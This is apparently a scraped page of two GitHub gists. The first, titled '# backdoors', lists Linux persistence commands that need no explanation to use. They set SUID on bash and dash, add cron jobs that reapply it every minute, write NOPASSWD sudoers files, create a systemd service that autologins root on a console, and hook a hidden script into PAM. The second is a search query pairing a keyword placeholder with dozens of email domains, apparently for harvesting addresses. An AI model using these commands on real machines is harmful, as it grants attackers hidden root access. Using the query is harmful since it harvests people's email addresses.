This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # backdoors | |
| chmod u+s /bin/bash | |
| chmod u+s /bin/dash | |
| echo '* * * * * root chmod u+s /bin/bash' >> /etc/crontab | |
| echo '* * * * * root chmod u+s /bin/dash' >> /etc/crontab | |
| echo 'username ALL=(ALL) NOPASSWD: /bin/bash' | sudo tee /etc/sudoers.d/backdoor > /dev/null && sudo chown root:root /etc/sudoers.d/backdoor && sudo chmod 440 /etc/sudoers.d/backdoor && sudo visudo -c | |
| echo 'username ALL=(ALL) NOPASSWD: /bin/dash' | sudo tee /etc/sudoers.d/backdoor > /dev/null && sudo chown root:root /etc/sudoers.d/backdoor && sudo chmod 440 /etc/sudoers.d/backdoor && sudo visudo -c | |
| echo -e "[Service]\nExecStart=/sbin/agetty --autologin root --noclear tty8 linux\nRestart=always\n[Install]\nWantedBy=multi-user.target" > /etc/systemd/system/backdoor.service && systemctl enable backdoor.service && systemctl start backdoor.service | |
| echo -e '#!/bin/bash\nchmod u+s /bin/bash' > /usr/local/bin/.backdoor && chmod +x /usr/local/bin/.backdoor && echo 'auth optional pam_exec.so expose_authtok /usr/local/bin/.backdoor' >> /etc/pam.d/common-a |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| "KEYWORDS HERE" ("@gmail.com" OR "@outlook.com" OR "@hotmail.com" OR "@yahoo.com" OR "@yahoo.es" OR "@icloud.com" OR "@protonmail.com" OR "@proton.me" OR "@tutanota.com" OR "@tuta.io" OR "@mail.com" OR "@zoho.com" OR "@gmx.com" OR "@aol.com" OR "@ymail.com" OR "@rediffmail.com" OR "@seznam.cz" OR "@laposte.net" OR "@mail.ru" OR "@yandex.com" OR "@qq.com" OR "@163.com" OR "@126.com" OR "@skynet.be" OR "@fastmail.com" OR "@hushmail.com" OR "@mailbox.org" OR "@posteo.de" OR "@kolabnow.com" OR "@zoho.eu" OR "@mailfence.com" OR "@runbox.com" OR "@tutanota.de" OR "@verizon.net" OR "@att.net" OR "@comcast.net" OR "@earthlink.net" OR "@bellsouth.net" OR "@juno.com" OR "@aim.com" OR "@mac.com" OR "@me.com" OR "@btinternet.com" OR "@talktalk.net" OR "@virginmedia.com" OR "@sky.com" OR "@ntlworld.com" OR "@blueyonder.co.uk" OR "@hotmail.co.uk" OR "@yahoo.co.uk" OR "@live.co.uk" OR "@aol.co.uk" OR "@gmx.co.uk" OR "@zoho.co.uk" OR "@fastmail.co.uk" OR "@posteo.co.uk" OR "@keemail.me" OR "@mail.co.uk" OR "@web.de" OR "@t-o |